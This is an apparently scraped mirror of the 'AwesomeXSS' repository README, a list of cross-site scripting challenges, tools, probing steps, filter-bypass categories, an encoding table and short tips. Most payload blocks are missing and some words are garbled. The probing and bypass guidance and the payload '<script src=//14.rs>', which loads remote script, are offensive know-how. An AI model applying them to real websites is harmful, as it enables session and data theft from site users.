AwesomeXSS - Awesome XSS stuff

项目说明

AwesomeXSS

This repository is a collection of Awesome XSS resources. Contributions are welcome and should be submitted via an issue.

Awesome contents

Challenges

Reads & Presentations

Tools

Mind maps

DOM XSS

Payloads

Polyglots

Tags and event handlers

Context breaking

- HTML context
- Attribute context
- Ja context

Confirm

Exploits

Probing

Bypassing

Encoding

Tips & tricks

Awesome Challenges

prompt.ml

alf.nu/alert1

xss-game.appspot.com

polyglot.innerht.ml

sudo.co.il/xss

root-me.org

chefsecure.com

wechall.net

codelatte.id/labs/xss

Awesome Reads & Presentations

Bypassing XSS Detection Mechanisms

XSS in Facebook via PNG Content Type

How I met your girlfriend

How to Find 1,352 Wordpress XSS Plugin in one hour

Blind XSS

Copy Pest

Awesome Tools

XSStrike

BeEF

JShell

Awesome XSS Mind Maps

A beautiful XSS mind map by Jack Masa, here

Awesome DOM XSS

Does your input go into a sink?

It doesn't? Not

Source: An input that could be controlled by an external (untrusted) 源码.

Sink: A potentially dangerous method that could lead to a . In this case a DOM Based XSS.

This comprehensive list of sinks and 源码 is taken from domxsswiki.

Awesome Payloads

Awesome Polyglots

Here's an XSS polyglot that I made which can break out of 20+ contexts:

Explanation of how it works, here

Awesome Tags & Event Handlers

105 Event Handlers with description

200 Event Handlers without description

Some less detected event handlers

Some HTML Tags that you will be using

Awesome Context Breaking

#### HTML Context
Case: <tag>You searched for $input. </tag>

#### Attribute Context

Case: <tag attribute="$input">

#### Ja Context

Case: <script> var new something = '$input'; </script>

Awesome Confirm

Yep, confirm because alert is too mainstream.

Awesome Exploits

##### Replace all links

##### Source Code Stealer

Awesome Probing

If nothing of this works, take a look at Awesome Bypassing section

First of all, enter a non-malicious string like d3v and look at the 源码 代码 to get an idea about number and contexts of reflections.
<br>Now for attribute context, check if double quotes (") are being filtered by entering x"d3v. If it gets altered to x"d3v, chances are that output is getting properly escaped. If this happens, try doing the same for single quotes (') by entering x'd3v, if it gets altered to x', you are doomed. The only thing you can try is encoding.<br>
If the quotes are not being filtered, you can simply try payloads from Awesome Context Breaking section.
<br>For ja context, check which quotes are being used for example if they are doing

Now lets say single quotes (') are in use, in that case enter x'd3v. If it gets altered to x\'d3v, try escaping the backslash (\) by adding a backslash to your probe i.e. x\'d3v. If it works use the following payload:

But if it gets altered to x\\\'d3v, the only thing you can try is closing the script tag itself by using

For simple HTML context, the probe is x<d3v. If it gets altered to x>d3v, proper sanitization is in place. If it gets reflected as it as, you can enter a dummy tag to check for potential filters. The dummy tag I like to use is x<xxx>. If it gets stripped or altered in any way, it means the filter is looking for a pair of < and >. It can simply bypassed using

or this (it will not work in all cases)

If the your dummy tags lands in the 源码 代码 as it is, go for any of these payloads

Awesome Bypassing

Note: None of these payloads use single (') or double quotes (").

Without event handlers

Without space

Without slash (/)

Without equal sign (=)

Without closing angular bracket (>)

Without alert, confirm, prompt

Without a Valid HTML tag

Bypass tag blacklisting

Awesome Encoding

|HTML|Char|Numeric|Description|Hex|CSS (ISO)|JS (Octal)|URL|
|----|----|-------|-----------|----|--------|----------|---|
|"|"|"|quotation mark|u+0022|\0022|\42|%22|
|#|#|#|number sign|u+0023|\0023|\43|%23|
|$|$|$|dollar sign|u+0024|\0024|\44|%24|
|%|%|%|percent sign|u+0025|\0025|\45|%25|
|&|&|&|ampersand|u+0026|\0026|\46|%26|
|'|'|'|apostrophe|u+0027|\0027|\47|%27|
|(|(|(|left parenthesis|u+0028|\0028|\50|%28|
|)|)|)|right parenthesis|u+0029|\0029|\51|%29|
|*|*|*|asterisk|u+002A|\002a|\52|%2A|
|+|+|+|plus sign|u+002B|\002b|\53|%2B|
|,|,|,|comma|u+002C|\002c|\54|%2C|
|−|-|-|hyphen-minus|u+002D|\002d|\55|%2D|
|.|.|.|full stop; period|u+002E|\002e|\56|%2E|
|/|/|/|solidus; slash|u+002F|\002f|\57|%2F|
|:|:|:|colon|u+003A|\003a|\72|%3A|
|;|;|&#59;|semicolon|u+003B|\003b|\73|%3B|
|<|<|<|less-than|u+003C|\003c|\74|%3C|
|=|=|=|equals|u+003D|\003d|\75|%3D|
|>|>|>|greater-than sign|u+003E|\003e|\76|%3E|
|?|?|?|question mark|u+003F|\003f|\77|%3F|
|@|@|@|at sign; commercial at|u+0040|\0040|\100|%40|
|[|\[|[|left square bracket|u+005B|\005b|\133|%5B|
|\|&bsol;|\|backslash|u+005C|\005c|\134|%5C|
|]|]|]|right square bracket|u+005D|\005d|\135|%5D|
|^|^|^|circumflex accent|u+005E|\005e|\136|%5E|
|_|_|_|low line|u+005F|\005f|\137|%5F|
|`|\|&#96;|gra|u+0060|\0060|\u0060|%60|
|&lcub;|{|&#123;|left curly bracket|u+007b|\007b|\173|%7b|
|&;|\||&#124;| bar|u+007c|\007c|\174|%7c|
|&rcub;|}|&#125;|right curly bracket|u+007d|\007d|\175|%7d|

Awesome Tips & Tricks




http(s):// can be shortened to // or /\\ or \\.




document.cookie can be shortened to cookie. It applies to other DOM objects as well.




alert and other pop-up functions don't need a value, so stop doing alert('XSS') and start doing alert()




You can use // to close a tag instead of >.




I ha that confirm is the least detected pop-up function so stop using alert.




Quotes around attribute value aren't necessary as long as it doesn't contain spaces. You can use <script src=//14.rs> instead of <script src="//14.rs">




The shortest HTML context XSS payload is <script src=//14.rs>` (19 chars)

Awesome Credits

All the payloads are crafted by me unless specified.

项目信息

开发语言：Ja

Star 数：5145

技术要点

该项目属于黑客技术方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕Awesome XSS stuff展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。